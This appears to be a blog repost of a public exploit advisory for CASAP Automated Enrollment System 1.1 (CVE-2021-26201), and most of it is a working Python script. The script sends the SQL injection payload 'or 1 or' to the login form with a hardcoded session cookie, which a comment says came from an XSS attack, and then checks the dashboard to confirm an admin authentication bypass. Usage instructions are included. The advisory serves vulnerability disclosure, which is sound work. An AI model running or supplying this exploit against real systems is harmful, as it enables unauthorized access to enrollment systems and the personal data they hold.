Tuesday, March 2, 2021

CASAP Automated Enrollment System 1.1 SQL Injection

# Exploit Title: CASAP Automated Enrollment System 1.1 -
Authentication Bypass cookie session
# Exploit Author: @nu11secur1ty
# Date: 03.02.2021
# Vendor Homepage:
https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.1
# Tested On: Ubuntu + XAMPP 7.3.2
# Description: CASAP Automated Enrollment System 1.0 - Authentication
Bypass SQLi cookie session
# Exploit Link:
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26201
# More: https://www.nu11secur1ty.com/2021/03/cve-2021-26201.html

[Exploit]


import time
import sys
import requests
import webbrowser

# Creator of the idea: Himanshu Shukla
print("Author: @nu11secur1ty")

def authbypass(url):

#Authentication Bypass
s = requests.Session()
#Set Cookie fot testing
#PHPSESSID=3g6ghfl8i7qh190m4pq92fv262 #in my case from XSS attack
cookies = {'PHPSESSID': 'inucrnag25j9h5hb826kovir0p'}

print ("[*]Attempting Authentication Bypass cookie session...")
time.sleep(1)

values = {"username":"'or 1 or'","password":""}
r=s.post(url+'login.php', data=values, cookies=cookies)
p=s.get(url+'dashboard.php', cookies=cookies)

#Check if Authentication was bypassed or not.
logged_in = True if ("true_admin" in r.text) else False
l=logged_in
if l:
print("[+]Authentication Bypass Successful...!")
else:
print("[-]Failed cookie Authentication exploit!")
print("[-]Check Your URL")

if __name__ == "__main__":

if len(sys.argv)!=2:
print("You Haven't Provided any URL!")
print("Usage : python3 exploit.py <URL>")
print("Example : python3 exploit.py http://IP_or_domain/final/")
exit()
try:
authbypass(sys.argv[1])
webbrowser.open('http://10.10.10.100/final/dashboard.php')
except:

print("[-]Invalid URL!")
exit()

# BR @nu11secur1ty


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>
 

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Thanks for everything Templateism - You should have written the code a little more complicated